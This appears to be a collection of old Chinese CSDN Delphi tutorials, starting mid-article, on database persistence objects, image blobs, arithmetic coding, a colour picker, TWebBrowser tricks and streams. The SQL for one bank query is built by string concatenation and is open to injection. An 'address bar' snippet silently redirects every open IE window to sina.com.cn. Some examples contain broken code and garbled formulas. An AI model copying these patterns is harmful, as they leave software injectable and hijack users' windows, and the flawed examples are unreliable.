end;
close;
end;
end;

从数据库取得数据是通过写SQL语言 (a)、(b) 实现，将SQL返回的数据赋给持久对象的操作为（c）－(f)，这样，函数执行完毕，持久对象将拥有从数据库查询所取得的值。

将对数据库的操作封装在数据模块中，有利于数据与界面的分离，数据模块可以作为三层数据库中的应用服务层，使系统可以轻易转变为三层分布式数据库。同时，存取数据库变得透明，用户甚至不知道数据库的存在。

如本例中，新存一个储户只需调用：
var newcus:Tcustomer;
newcus:=Tcustomer.Create(‘比尔*盖茨’,’100001’,’美国微软公司’,’(025)110’);

取得储户比尔＊盖茨（比如储户ID为10001）的操作为
var newcus:Tcustomer;
newcus:=Tcustomer.Create(‘10001’);

这些操作的背后已完成了对数据库的相应操作，数据存取变得透明。而且程序的可读性很强。
然后这个储户的所有数据就可以读取这个持久对象来实现，如我们想知道这个储户的地址，我们就可以这样操作：newcus.Get_cus_addr;

因为操作对象是中间件层对象，将使程序可读性非常强。

（2）“持久对象集”对象的定义

在上述持久对象的定义中，由于只是取得一条记录，所以没有用“持久对象集”的概念，而通常应用中，经常会一次性取得后台
数据库的多条记录到前台处理，虽然也可以像上述定义持久对象那样一条一条记录进行存取，但这样每新读一条记录都要从头开始进行一次SQL数据库的操作，造成资源开销太大，效率降低，所以如果需要一次读取多条记录，就需要建立一个“持久对象集”对象。

以银行卡交易对象为例

一个储户通常会与银行发生多次交易，当我们需要取得该储户银行卡帐号的交易情况时，就需要一次性取得该帐号所发生的所有交易对象记录，这时候取得的数据集不是单个的持久对象，而是一个持久对象的集合，这个集合里有所有该帐号发生的交易对象。所以在这里就需要定义“持久对象集”对象，“持久对象集”对象也是一个对象（Object），只是它的操作元素为持久对象。

在本例中，定义交易对象的持久对象集为交易集——Transacts，其声明如下：
TTranode=^TTransactnode;
TTransactnode=record
TRainfo:TTransactinfo;
Pnext:TTranode;
end;
TTRansacts = class(TObject)
private
{ Private declarations }
Pfirst:TTranode;
Pend:TTranode;
pos:TTranode;
protected
{ Protected declarations }
Transactnum:integer;
Id_ofaccount:string;
id_type:integer;
public
{ Public declarations }
function Get_TRas_acid:string;
function Get_TRas_actype:integer;
function Get_firsttrainfo:TTransactinfo;
function Get_Transactnum:integer;
function Get_lasttrainfo:TTransactinfo;
function Get_traninfo(tra_id:string):TTRansactinfo;
function Get_nexttraninfo():TTRansactinfo;
procedure set_first;
procedure TRas_add(TRa_info: TTransactinfo);
constructor create(acid:string);
end;
“持久对象集”对象—交易集Transacts 采用了链表结构链接集合中的所有交易对象Ttransactinfo，其构造函数为链表初始化及集合元素的确定、添加过程。

constructor TTRansacts.create(acid:string);
begin
TRansactnum:=0;
Id_ofaccount:=acid;
Pfirst:=Nil;
pEND:=Nil;
dmodule.load_TRAs_info(self);
end;
数据模块中load_TRAs_info方法以交易集对象Transacts为参数，通过SQL语言筛选出所需要的交易对象，加入交易集对象的链表
链表添加的操作为：
procedure TTRansacts.TRas_add(TRa_info: TTransactinfo);
var newnode:TTranode;
begin
new(newnode);
newnode.TRainfo:=TRa_info;
newnode.Pnext:=NIL;
if Pfirst=NIL then
begin
pfirst:=newnode;
pos:=pfirst;
end
else
begin
pend^.pnext:=newnode;
end;
pend:=newnode;
pend^.pnext:=NIL;
Transactnum:=Transactnum+1;
end;
只需要声明一个交易对象Transactinfo，就可以将该对象加入交易集对象Transacts的链表中。
这里先要介绍交易对象的定义方法，交易对象采用上述双构造函数方法进行对数据库单个交易记录的封装，
其中完成“取”操作的构造函数定义如下：
constructor TTransactinfo.Create(of_acid: string);
begin
TRa_ACid:=of_acid; //of_acid交易对象对应的帐户ID，交易对象的标识值
dmodule.load_TRA_info(self)
end;
这里，dmodule.load_TRA_info(self)，和交易集对象中dmodule.load_TRAs_info(self)是不同的，前者封装了单个交易对象的数据库“取”操作，后者封装了交易集对象的数据库“取”操作。

procedure TDModule.Load_Tra_info(var TRA:Ttransactinfo);
begin
with Dtinfoquery do
begin
TRa.SET_TRa_id(fieldbyname('储蓄帐户交易明细ID').asstring);
TRa.SET_TRa_ITid(trim(fieldbyname('柜员终端编号').asstring));
TRa.SET_TRa_Gyid(trim(fieldbyname('操作柜员编号').asstring));
TRa.SET_TRa_type(fieldbyname('交易类型').asinteger);
TRa.Set_tra_money(fieldbyname('交易金额').asfloat);
TRa.Set_tra_time(fieldbyname('交易时间').asdatetime);
TRa.SET_tra_result(fieldbyname('交易结果').asinteger);
TRa.SET_TRa_wdname(trim(fieldbyname('网点名称').asstring));
end;
end;
procedure TDModule.Load_TRas_info(var TRas: TTransacts);
begin
with Dtinfoquery do
begin
close;
sql.clear;
sql.add('SELECT * FROM 储蓄帐户交易明细表'); //(a)
sql.add('WHERE 储蓄帐户ID='+''''+TRas.Get_TRas_acid+''''); //(b)
open;
if not fieldbyname('储蓄帐户ID').isnull then
begin
while not eof do
begin
TRas.TRas_add(TTransactinfo.create(TRas.Get_TRas_acid,TRas.Get_TRas_actype));
//（c）
next;
end;
end;
close;
end;
end;

其中（a）、（b）为SQL语句筛选出所有指定帐号的交易记录集，（c）是该函数的重点，先声明一个交易对象（调用交易对象“取”构造函数，通过dmodule.load_TRA_info(self)完成对当前交易对象数据库取操作），然后通过TRas.TRas_add，将取得的当前交易对象加入到交易集对象的链表中。

通过持久对象集对象，可以封装多个持久对象的数据库存取操作，在本例中，如果要取得帐号为“1000000001”的帐户所有交易情况，那么只需调用操作
var Tras：TTransacts
Tras:=TTransacts.Create(‘1000000001’) 即可，

所有的该帐号的交易情况已加入Tras的链表中，并且链表头指针可通过Tras.Get_firsttrainfo得到，所有对链表的操作插入删除都可以实现。如果持久对象集的集合元素数目巨大，那么可在数据模块中SQL语言筛选的时候加上限制语句，以固定数量分批筛选。

rayphrank（rayphrank@sina.com)版权所有，

欢迎转载，转载请注明作者姓名,邮件地址！！！


CSDN_文档中心_数据库应用程序开发中图像数据的存取技术

数据库应用程序开发中图像数据的存取技术

Delphi提供了数据访问(DataAccess)和数据控制(DataControls)的可视化控件，能够方便快捷地产生具有良好界面且功能强大的数据库应用程序。对于涉及图像数据(含Graphic字段)的数据库应用程序，如人事管理信息系统等，图像数据的存取技术是一个关键。然而，有关Delphi下图象的存取，特别是图像的保存方面的技术各种资料上很少提及。下面，笔者结合一个简单的例子来说明。

一、图像数据的保存

1.创建一个含有Graphic字段的数据库列表。

在WindowsISQ(或Databasedesktop)下create database mydb.gdb

create table myfrieds(name varchar(15) notnull，telephone varchar(12)， address varchar(30)，zipvarchar(8)，picture varchar(15)，image blob);

其中，picture字段用于保存图像的名称(包括路径)，image(Graphic字符)则用于存储图像，其数据类型为“blob”。

2.建立窗体(如图1所示)，设置窗体中各控件的属性。

该窗体的主要功能是将某人信息进行编辑和保存。需要注意的图像保存所用的图像框必须用TImage而不能用TDBImage，编辑框宜用Tedit而不宜用TDBEdit，这一点与图像的读取恰好相反。

其中，各主要控件的属性设置如下:

Datasource1.Dataset:=table1;

Table1.Databasename:=mydb.gdb;

Table1.Tablename:=myfriends;

Table1.active:=true;

其他诸如Caption之类的属性设置不再叙述。

3.数据处理程序的建立。

(1)图像( .bmp文件)打开的处理。

procedureTForm1.pictopenbtnClick(Sender:TObject);

beginopendialog1.execute;

image1.picture.loadfromfile(opendialog1.filename);

end;

(2)图像保存的处理。

图像保存的处理程序完成把在窗体1所编辑的信息包括图像保存到相应的数据库中，其关键是要定义一个Graphic类型的变量且该变量要用Assign()函数传递到相应数据库中保存。具体程序如下:

procedureTform1.Savebtnclick(sender:TObject);

var

graphic1:TGraphic;

begin

graphic1:=TGraphic.Create;

graphic1.loadfromfile(opendialog1.filename);

table1.insert;

table1.fieldbyname('name').asstring:=edit1.text;

table1.fieldbyname('telephon').asstring:=edit2.text;

table1.fieldbyname('address').asfloat:=edit3.text;

table1.fieldbyname('zip').asfloat:=edit4.text;

table1.fields[4].assign(graphic1);

table1.post;

graphic1.free;

end;

二、图像数据的读取

在数据库数据(包括Graphic字段的数据)的读取和浏览方面，Delphi这一具有强大代码自动生成功能的面向对象的开发工具的优越性得到淋漓尽致的体现。毫不夸张地说，不需要一条语句即可完成这一功能！

图中Table1和Datasource1的属性的设置与数据的保存部分(图1)相同，所不同的是数据库数据的读取时用TDBEdit和TDBImage控件而不用TEdit和TImage。控件TDBEdit和TDBImage只要将datafield属性设置为其相对应的域;TDBNavigator的datasouce属性设置为datasource1即可。

tre

级别: 散兵
来自:厦门
OICQ:
积分:457
专家分:107
总排名:180
最后现身:2001-5-23 19:34:05(登陆100次)
发表于: 2001-5-23 20:02:40

--------------------------------------------------------------------------------
我也贴片给你是李维ado书上的
procedure TForm1.Button1Click(Sender: TObject);
var
sfilename:string;
function blobcont(const filename:string):string;
begin
with tfilestream.Create(filename,fmopenread) do
try
setlength(result,size);
read(pointer(result)^,size);
finally
free;
end;
end;

begin
if opendialog1.Execute then
begin
sfilename:=opendialog1.FileName;
adodataset1.Append;
adodataset1.FieldByName('ff').asstring:=blobcont(sfilename);
adodataset1.Post;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
sfilename:string;
bs:tadoblobstream;
begin
bs:=tadoblobstream.Create(tblobfield(adodataset1.FieldByName('ff')),bmread);
try

sfilename:='c:\ff.doc';//换成图片格式就可以了
if fileexists(sfilename) then
deletefile(sfilename);
bs.SaveTofile(sfilename);
OleContainer1.CreateObjectFromFile(sfilename,false);
//OleContainer1.LoadFromFile(sfilename);
//OleContainer1.LoadFromStream()
//memo1.Lines.LoadFromFile(sfilename);
// WebBrowser1.Navigate(pchar(sfilename));
finally
bs.free;
end;


CSDN_文档中心_谁需要软件“蓝领”？

《现代汉语词典》上是这么解释“蓝领”的：某些国家或地区指从事体力劳动的工人，他们劳动时一般穿蓝色工作服。依笔者看来，这个解释未必全面，“蓝领”的主要特点应该是：在大规模生产的某个环节中工作，熟练掌握该环节的生产技能，并且，这一环节对生产技能的要求较低。

    “中国软件业需要‘蓝领’工人。”这话也不知道被人说过多少遍了。最近的一条消息是：中关村ＩＴ企业人力资源状况调查显示，北京软件“蓝领”尚有５万名缺口。甚至有些人认为：“缺少‘蓝领’成为中国软件行业发展的桎梏。因为我们在任何一家软件公司里都看不到这样的工人。软件开发的进程完全取决于软件工程师的灵感，开发周期和质量经常无法保障。”

    看看报纸上的招聘广告，软件企业招聘的程序员都美其名曰：软件工程师。招聘条件是：至少精通一门编程语言，Ｃ／Ｃ＋＋、ＶＢ或者Ｊａｖａ；至少掌握一种数据库软件；出色的英文读写能力……虽然缺少软件“蓝领”，但是，却没有一家企业说：我要招聘软件工人。甚至，有些人就把这些懂Ｃ＋＋和数据库软件、英文出色并且怀揣一堆各种软件认证证书的本科以上学历者称为软件“蓝领”——试问，在哪个行业有这么出色的“蓝领”？

    制造业的流水线上，“蓝领”工人在自己的位置上准确地完成着指定的工作，他们的工作非常机械、非常简单。在笔者看来，软件行业更缺少能把整个开发工作简化成若干环节的人，如果能用最直观的语言来编写程序，软件“蓝领”自然有了用武之地。如果不用Ｃ／Ｃ＋＋、ＶＢ或者Ｊａｖａ来编写程序，假如能用中文版的ＷＯＲＤ来写程序，软件“蓝领”自然就会多起来。

    一个行业，如果希望在流水线上做大规模集约化生产，必须要有流水线的设计者和规划者，还得有很多“拉长”——某一条流水线的“班长”，然后才是“蓝领”工人。对应到软件行业，应该先是“金领”和“白领”，然后才是“蓝领”。虽然有很多人呼唤“蓝领”，但本质问题是：这个行业还没有足够的“金领”和“白领”，并且，这个行业还不具备将整个生产过程规范起来的能力。


CSDN_文档中心_算术编码算法

算术编码算法

算术编码是把一个信源表示为实轴上0和1之间的一个区间，信源集合中的每一个元素都用来缩短这个区间。

算术编码的过程如下：

（1） 设定编码区间的高段为h，编码区间的长度为g，EndC为编码字符分配的高段，StartC

为字符分配区间的低端。

（2） 根据有限的信源估算出各元素的概率。

（3） 杜宇编码的元素A1，根据（2）估算的概率和区间，计算出该元素编码后的新的l，和h。其公式如下：

h = StartC + g* K;

l = Endc + g* K1;

其具体程序如下：

const Ca = 0.2; Ce = 0.3;

Ci = 0.2; Co = 0.2;

Cu = 0.1;

var

Form1: TForm1;

s: string;

StartC, EndC: Extended;

implementation

{$R *.dfm}

procedure ConvertTo(s: string; var StartC, EndC: Extended);{将字符串变为数值}

var n, i: integer;

c: char;

g: Extended;

begin

StartC := 0;

EndC := 1;

n := Strlen(Pchar(s));

for i := 1 to n do

begin

c := s[i];

g := EndC - StartC;

case C of

'a':

begin

EndC :=StartC + g * Ca;

StartC := StartC + g * 0;

end;

'e':

begin

EndC := StartC + g * (Ca + Ce);

StartC := StartC + g * Ca;

end;

'i':

begin

EndC := StartC + g * (Ca + Ce + Ci);

StartC := StartC + g * (Ca + Ce);

end;

'o':

begin

EndC := StartC + g * (Ca + Ce + Ci + Co);

StartC := StartC + g * (Ca + Ce + Ci);

end;

'u':

begin

EndC := StartC + g * (Ca + Ce + Ci + Co + Cu);

StartC := StartC + g * (Ca + Ce + Ci + Co);

end;

else

begin

Showmessage(' 输入的字符串有误 ');

exit;

end;

end;

end;

end;

procedure NemuricalToStr(var s: String; var StartC, EndC: Extended);

{将数值转换为字符串}

const eps = -1e-5;

begin

if StartC-0.2 < -eps then

if (EndC- 0.2<= -eps) and (EndC > StartC) then

begin

StartC := StartC / 0.2;

EndC := EndC / 0.2;

s := s + 'a';

if (StartC <>0) or (EndC <> 1) then

NemuricaltoStr(s,StartC,EndC);

end;

if (StartC- 0.2 >= eps) and (StartC-0.5 < -eps) then

if (EndC-0.5<= -eps) and (EndC>StartC) then

begin

StartC := StartC - 0.2;

EndC := EndC - 0.2;

StartC := StartC / 0.3;

EndC := EndC / 0.3;

s := s + 'e';

if (StartC <>0) or (EndC <> 1) then

NemuricaltoStr(s,StartC,EndC);

end ;

if (StartC- 0.5>= eps) and (StartC- 0.7< -eps) then

if (EndC-0.7<= -eps) and (EndC>StartC) then

begin

StartC := StartC - 0.5;

EndC := EndC - 0.5;

StartC := StartC / 0.2;

EndC := EndC / 0.2;

s := s + 'i';

if (StartC <>0) or (EndC <> 1) then

NemuricaltoStr(s,StartC,EndC);

end ;

if (StartC-0.7 >= eps) and (StartC-0.9 < -eps) then

if (EndC-0.9<=-eps) and (EndC>StartC) then

begin

StartC := StartC - 0.7;

EndC := EndC - 0.7;

StartC := StartC / 0.2;

EndC := EndC / 0.2;

s := s + 'o';

if (StartC <>0) or (EndC <> 1) then

NemuricaltoStr(s,StartC,EndC);

end ;

if (StartC -0.9>=eps) and (StartC-1 < -eps) then

if (EndC-1<= -eps) and (EndC>StartC) then

begin

StartC := StartC - 0.9;

EndC := EndC - 0.9;

StartC := StartC / 0.1;

EndC := EndC / 0.1;

s := s + 'u';

if (StartC <>0) or (EndC <> 1) then

NemuricaltoStr(s,StartC,EndC);

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

s := Edit1.Text;

ConvertTo(s,StartC,EndC);

Edit2.Text := FloattoStr(StartC);

Edit3.Text := FloattoStr(EndC);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

s := '';

StartC := StrToFloat(Edit2.Text);

EndC := StrtoFloat(Edit3.Text);

NemuricalToStr(s,StartC,Endc);

Edit1.Text := s;

end;

end.

次程序在Delphi6+Windows2000下通过。


CSDN_文档中心_随心所欲取颜色(鼠标经过的地方颜色值均可取到)

unit Ugetcor;

interface

uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, ExtCtrls, Buttons;

type
Tgetcol = class(TForm)
Panel1: TPanel;
Label1: TLabel;
Label2: TLabel;
procedure FormClick(Sender: TObject);
procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure Panel1Click(Sender: TObject);
procedure FormDblClick(Sender: TObject);
procedure FormResize(Sender: TObject);
private
tx,ty : integer;
procedure WMEraseBkng(var MSg:TWMEraseBkgnd);message WM_ERASEBKGND;
public
{ Public declarations }
end;

var
getcol: Tgetcol;
implementation

{$R *.DFM}
const
Digits : array[0..$F] of Char = '0123456789ABCDEF';

function HexB(B : Byte) : string;
{-Return hex string for byte}
begin
HexB[0] := #2;
HexB[1] := Digits[B shr 4];
HexB[2] := Digits[B and $F];
end;

procedure Tgetcol.WMEraseBkng(var MSg:TWMEraseBkgnd);
begin
Msg.Result:=1;
end;

procedure Tgetcol.FormClick(Sender: TObject);
var t : tcolor;
r,g,b : byte;
begin
t := canvas.pixels[tx,ty];
r := getRvalue(t);
g := getGvalue(t);
B := getBvalue(t);
LABEL2.COLOR := T;
LABEL1.CAPTION := '$00' + HEXB(R) + HEXB(G) + HEXB(B);
end;

procedure Tgetcol.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
tx := x;
ty := y;
end;

procedure Tgetcol.Panel1Click(Sender: TObject);
begin
CLOSE;
end;

procedure Tgetcol.FormDblClick(Sender: TObject);
begin
close;
end;

procedure Tgetcol.FormResize(Sender: TObject);
begin
panel1.top := height - panel1.height -1;
panel1.left := width - panel1.width -1;
panel1.visible := true;
end;

end.

只需要将其加入你的任意一个工程文件中，便可运行！！


CSDN_文档中心_谈Delphi 下Internet 编程技巧(二)

谈Delphi 下Internet 编程技巧(二)
作者：吕杨
E-Mail:lyboy99@sina.com

讲过第一节后,我再给大家介绍Delphi中的TWebBrowser控件的常用使用方法和技巧。从Delphi5开始，TwebBrowser组件中封装有MS IE AcitveX控件，并从Netmasters中替换了THTML组件。Delphi5没有全部加入TwebBrowser控件，我们可以先卸去原有的TwebBrowser组件后从新按安装MS IE ActiveX控件 ；方法是首先：选择Component菜单 -> Install Packages 出现(如图1-1)画面，选择Internet Explorer Components 选项后，按

Remove按钮 ，将原TwebBrowser控件卸载掉，然后再 ，选择 Import ActiveX Control菜单，如（图1-2）后，出现（图1-3）的画面，选择Microsoft internet controls(version 1.1)项后，Install , 安装后你会发现在ActiveX组件菜单中多了WebBrowse_V1 和WebBrowse二个控件。

[图1-1]

[图1-2]

[图1-3]

以TWebBrowser(IE5浏览器控件)为例，介绍以下控件的常用的属性。
有些属性在TwebBrowser_V1控件中没有，是TwebBrowser控件中新增的，我在下面的列表中已经注明。
TwebBrowser控件常用属性表：

属性： | 介绍：
GoBack | 后退到上一个页面
GoForward | 前进到下一个页面
GoHome | 调用默认的主页页面
GoSearch | 调用默认的搜索页面
Navigate(const URL: WideString; var Flags, TargetFrameName, PostData, Headers: OleVariant) | 调用指定页面，具体参数如下： URL：指定页面的URL。Flags： Word类型，作用还不清楚，可设为0。 TargetFrameName：WideString， 打开页面所在的Frame，为空字符串时在当前的 Frame中打开；TargetFrameName 指定的Frame存在时在Frame中打开； TargetFrameName指定的Frame 不存在时则新建一个窗口打开，此时就相当 于调用外部的IE浏览器了。 PostData：boolean，是否允许发送数据。 Headers：WideString， 要发送的URL请求的头部数据
Refresh | 刷新当前页面
Stop | 停止调用或打开当前页面
LocationName属性(WideString) | 当前位置的名称
LocationURL属性(WideString) | 当前位置的URL
Busy属性(Boolean)， | 是否正忙
Visible: 属性(Boolean) | 浏览器窗口是否可见
StatusBar属性(Boolean) | 是否显示状态栏，TWebBrowser新增
StatusText: 属性(WideString) | 状态栏内容，TWebBrowser新增
ToolBar: 属性(SYSINT) | 工具栏中的内容，TWebBrowser新增
MenuBar: 属性(Boolean) | 是否显示菜单条，TWebBrowser新增
FullScreen: 属性(Boolean) | 是否全屏显示，TWebBrowser新增
Offline: 属性(Boolean) | 是否脱机浏览，TWebBrowser新增
AddressBar: 属性(Boolean) | 是否显示地址栏，TWebBrowser新增

TwebBrowser常见事件表：

OnStatusTextChange = procedure (Sender: TObject; const Text: WideString) of object; | 在状态栏提示信息变化时发生，参数Text为当前状态栏提示信息，我们可以根据该信息来更新我们自己的状态栏提示信息或处理其它的事务
OnProgressChange = procedure(Sender: TObject; Progress, ProgressMax: Integer) of object; | 在打开页面的进度变化时发生，参数Progress为当前进度，ProgressMax为总进度，可以根据这两个参数来更新状态栏提示信息或处理其它的事务
OnCommandStateChange = procedure(Sender: TObject; Command: Integer; Enable: WordBool) of object; | 当执行新的命令时发生，Command为命令标识，Enable为是否允许执行该命令．
OnTitleChange = procedure(Sender: TObject; const Text: WideString) of object; | 在页面的标题发生变化时发生，Text为当前标题
OnPropertyChange = procedure(Sender: TObject; const Property_: WideString) of object; | 在页面的属性发生变化时发生，Property_为属性名称 OnDownloadComplete: TNotifyEvent 在下载页面完成后发生 OnDownloadBegin: TNotifyEvent 在下载页面开始前发生．

介绍过TwebBrowser控件的属性后，我在给大家介绍一下应用TwebBrowser控件的一些编程技巧。

1．显示一个GIF动画

如果你找不到显示GIF动画的控件，下面的一个函数可以解决你的燃眉之急

procedure ShowGIF( GIFFileName : String );

var

TargetFrameName,PostData,Heads,Flags : OleVariant;

URL : widestring;

begin

TargetFrameName := '';{指定Frame的空字符串时,

则在当前Frame中打开动画文件}

PostData := false;{不发送数据}

Heads := '';{Header信息为空}

Flags := 0;{Flags设为0}

URL := GIFFileName;

with formGIF.webbrowser do{在指定窗口中的

IE浏览器控件中显示动画}

begin

navigate(URL,Flags,TargetFrameName

,PostData,Heads);{显示动画文件}

end;

end;

2．删除IE的历史记录

很想知道如何实现删除IE的历史记录的吧,下面一段程序事例将介绍如何编写

uses wininet;

procedure TForm1.Button1Click(Sender: TObject);

var

cache_info:PInternetCacheEntryInfo;

cbSizeOf_Cache_info:dword;

hw:hwnd;

buf:tstrings;

begin

new(cache_info);

hw:=FindFirstUrlCacheEntryEx(nil,0,NORMAL_CACHE_ENTRY or URLHISTORY_CACHE_ENTRY,0,cache_info,@cbSizeOf_Cache_info,nil,nil,nil);

if hw<>0 then

begin

DeleteUrlCacheEntry(cache_info.lpszSourceUrlName);

while FindNextUrlCacheEntryEx(hw,cache_info,@cbSizeOf_Cache_info,nil,nil,nil) do

DeleteUrlCacheEntry(cache_info.lpszSourceUrlName);

end;

FindCloseUrlCache(hw);

dispose(cache_info);

end;

//方法二

type

TSTATURL = record

cbSize: DWORD;

pwcsUrl: DWORD;

pwcsTitle: DWORD;

ftLastVisited: FILETIME;

ftLastUpdated: FILETIME;

ftExpires: FILETIME;

dwFlags: DWORD;

end;

type

IEnumSTATURL = interface(IUnknown)

['{3C374A42-BAE4-11CF-BF7D-00AA006946EE}']

function Next(celt: Integer; out elt; pceltFetched: PLongint): HRESULT; stdcall;

function Skip(celt: Longint): HRESULT; stdcall;

function Reset: HResult; stdcall;

function Clone(out ppenum: IEnumSTATURL): HResult; stdcall;

function SetFilter(poszFilter: PWideChar; dwFlags: DWORD): HResult; stdcall;

end;

type

IUrlHistoryStg = interface(IUnknown)

['{3C374A41-BAE4-11CF-BF7D-00AA006946EE}']

function AddUrl(pocsUrl: PWideChar; pocsTitle: PWideChar; dwFlags: Integer): HResult; stdcall;

function DeleteUrl(pocsUrl: PWideChar; dwFlags: Integer): HResult; stdcall;

function QueryUrl(pocsUrl: PWideChar; dwFlags: Integer; var lpSTATURL: TSTATURL): HResult; stdcall;

function BindToObject(pocsUrl: PWideChar; var riid: TGUID; out ppvOut: Pointer): HResult; stdcall;

function EnumUrls(out ppenum: IEnumSTATURL): HResult; stdcall;

end;

type

IUrlHistoryStg2 = interface(IUrlHistoryStg)

['{AFA0DC11-C313-11D0-831A-00C04FD5AE38}']

function AddUrlAndNotify(pocsUrl: PWideChar; pocsTitle: PWideChar; dwFlags: Integer;

fWriteHistory: Integer; var poctNotify: Pointer;

const punkISFolder: IUnknown): HResult; stdcall;

function ClearHistory: HResult; stdcall;

end;

function ClearIEHistory:integer;

const

CLSID_CUrlHistory: TGUID = '{3C374A40-BAE4-11CF-BF7D-00AA006946EE}';

var

IEHistory:IUrlHistoryStg2;

begin

IEHistory:=CreateComObject(CLSID_CUrlHistory) as IUrlHistoryStg2;

IEHistory.ClearHistory;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

ClearIEHistory;

end;

3．添加到收藏夹和整理收藏夹

const

CLSID_ShellUIHelper: TGUID = '{64AB4BB7-111E-11D1-8F79-00C04FC2FBE1}';

  var

p:procedure(Handle: THandle; Path: PChar); stdcall;

procedure TForm1.OrganizeFavorite(Sender: Tobject);

        var

          H: HWnd;

        begin

          H := LoadLibrary(PChar('shdocvw.dll'));

          if H <> 0 then

          begin

        p := GetProcAddress(H, PChar('DoOrganizeFavDlg'));

            if Assigned(p) then p(Application.Handle, PChar(FavFolder));

          end;

          FreeLibrary(h);

        end;

        procedure TForm1.AddFavorite(Sender: TObject);

        var

          ShellUIHelper: ISHellUIHelper;

          url, title: Olevariant;

        begin

          Title := Webbrowser1.LocationName;

          Url := Webbrowser1.LocationUrl;

          if Url <> '' then

          begin

            ShellUIHelper := CreateComObject(CLSID_SHELLUIHELPER) as IShellUIHelper;

            ShellUIHelper.AddFavorite(url, title);

          end;

        end;

4．直接从TWebBrowser得到网页源码及Html

Memo1.Lines.Add(IHtmlDocument2(WebBrowser1.Document).Body.OuterHtml);

如果，用TWebBrowser浏览HTML文件的时候要将其保存为文本文件就很简单了，

  Memo1.Lines.Add(IHtmlDocument2(WebBrowser1.Document).Body.OuterText);

5．获取IE地址栏的handle

var

Form1: TForm1;

implementation

{$R *.DFM}

Function GetURL(H:hwnd;lparam:longint):boolean;stdcall;

var str,url:array [0..254] of char;

begin

getclassname(h,@str,255);

if strpas(@str)='ComboBoxEx32' then // ComboBoxEx32可以改成Edit.

begin

SendMessage(h,WM_GETTEXT,255,LongInt(@url));

SendMessage(h,WM_SETTEXT,255,longint(pchar('http://www.sina.com.cn')));

Sendmessage(h,WM_KEYDOWN,VK_Return,1);

form1.ListBox1.Items.Add(strpas(@url));

end;

result:=true;

end;

function callbackproc(H:HWnd;lparam:longint):Boolean;stdcall;

var str:array [1..255] of char;

begin

getclassname(h,@str,255);

if ((strpas(@str)='CabinetWClass') or (strpas(@str)='IEFrame')) then

begin

Enumchildwindows(h,@GetURL,0);

end;

result:=true;

end;

procedure TForm1.findbuttonClick(Sender: TObject);

begin

listbox1.Clear;

Enumwindows(@callbackproc,0);

end;

end.


CSDN_文档中心_谈Delphi编程中“流”的利用(一)

<!--StartFragment-->谈Delphi编程中“流”的利用

陈经韬

什么是流？流,简单来说就是建立在面向对象基础上的一种抽象的处理数据
的工具。在流中，定义了一些处理数据的基本操作，如读取数据，写入数据等，
程序员是对流进行所有操作的，而不用关心流的另一头数据的真正流向。流不
但可以处理文件，还可以处理动态内存、网络数据等多种数据形式。如果你对
流的操作非常熟练，在程序中利用流的方便性，写起程序会大大提高效率的。
下面，笔者通过四个实例:EXE文件加密器、电子贺卡、自制OICQ和网络屏幕
传输来说明Delphi编程中“流”的利用。这些例子中的一些技巧曾经是很多软
件的秘密而不公开的，现在大家可以无偿的直接引用其中的代码了。
“万丈高楼平地起”，在分析实例之前，我们先来了解一下流的基本概念和
函数，只有在理解了这些基本的东西后我们才能进行下一步。请务必认真领会
这些基本方法。当然，如果你对它们已经很熟悉了，则可以跳过这一步。

一、Delphi中流的基本概念及函数声明
在Delphi中，所有流对象的基类为TStream类，其中定义了所有流的共同属性
和方法。
TStream类中定义的属性介绍如下：
1、Size:此属性以字节返回流中数据大小。
2、Position:此属性控制流中存取指针的位置。
Tstream中定义的虚方法有四个：
1、Read:此方法实现将数据从流中读出。函数原形为：
Function Read(var Buffer;Count:Longint):Longint;virtual;abstract;
参数Buffer为数据读出时放置的缓冲区，Count为需要读出的数据的字节数，
该方法返回值为实际读出的字节数，它可以小于或等于Count中指定的值。
2、Write:此方法实现将数据写入流中。函数原形为：
Function Write(var Buffer;Count:Longint):Longint;virtual;abstract;
参数Buffer为将要写入流中的数据的缓冲区，Count为数据的长度字节数，
该方法返回值为实际写入流中的字节数。
3、Seek:此方法实现流中读取指针的移动。函数原形为：
Function Seek(Offset:Longint;Origint:Word):Longint;virtual;abstract;
参数Offset为偏移字节数,参数Origint指出Offset的实际意义，其可能的取值
如下：
soFromBeginning:Offset为移动后指针距离数据开始的位置。此时Offset必须
大于或者等于零。
soFromCurrent:Offset为移动后指针与当前指针的相对位置。
soFromEnd:Offset为移动后指针距离数据开始的位置。此时Offset必须
小于或者等于零。
该方法返回值为移动后指针的位置。
4、Setsize:此方法实现改变数据的大小。函数原形为：
Function Setsize(NewSize:Longint);virtual;
另外，TStream类中还定义了几个静态方法：
1、ReadBuffer:此方法的作用是从流中当前位置读取数据。函数原形为：
Procedure ReadBuffer(var Buffer;Count:Longint);
参数的定义跟上面的Read相同。注意：当读取的数据字节数与需要读取的字节
数不相同时，将产生EReadError异常。
2、WriteBuffer:此方法的作用是在当前位置向流写入数据。函数原形为：
Procedure WriteBuffer(var Buffer;Count:Longint);
参数的定义跟上面的Write相同。注意：当写入的数据字节数与需要写入的字节
数不相同时，将产生EWriteError异常。
3、CopyFrom:此方法的作用是从其它流中拷贝数据流。函数原形为：
Function CopyFrom(Source:TStream;Count:Longint):Longint;
参数Source为提供数据的流，Count为拷贝的数据字节数。当Count大于0时，
CopyFrom从Source参数的当前位置拷贝Count个字节的数据；当Count等于0时，
CopyFrom设置Source参数的Position属性为0,然后拷贝Source的所有数据；
TStream还有其它派生类，其中最常用的是TFileStream类。使用TFileStream
类来存取文件，首先要建立一个实例。声明如下：
constructor Create(const Filename:string;Mode:Word);
Filename为文件名（包括路径）,参数Mode为打开文件的方式，它包括文件的打
开模式和共享模式，其可能的取值和意义如下：

打开模式：
fmCreate :用指定的文件名建立文件，如果文件已经存在则打开它。
fmOpenRead :以只读方式打开指定文件
fmOpenWrite :以只写方式打开指定文件
fmOpenReadWrite:以写写方式打开指定文件
共享模式：
fmShareCompat :共享模式与FCBs兼容
fmShareExclusive:不允许别的程序以任何方式打开该文件
fmShareDenyWrite:不允许别的程序以写方式打开该文件
fmShareDenyRead :不允许别的程序以读方式打开该文件
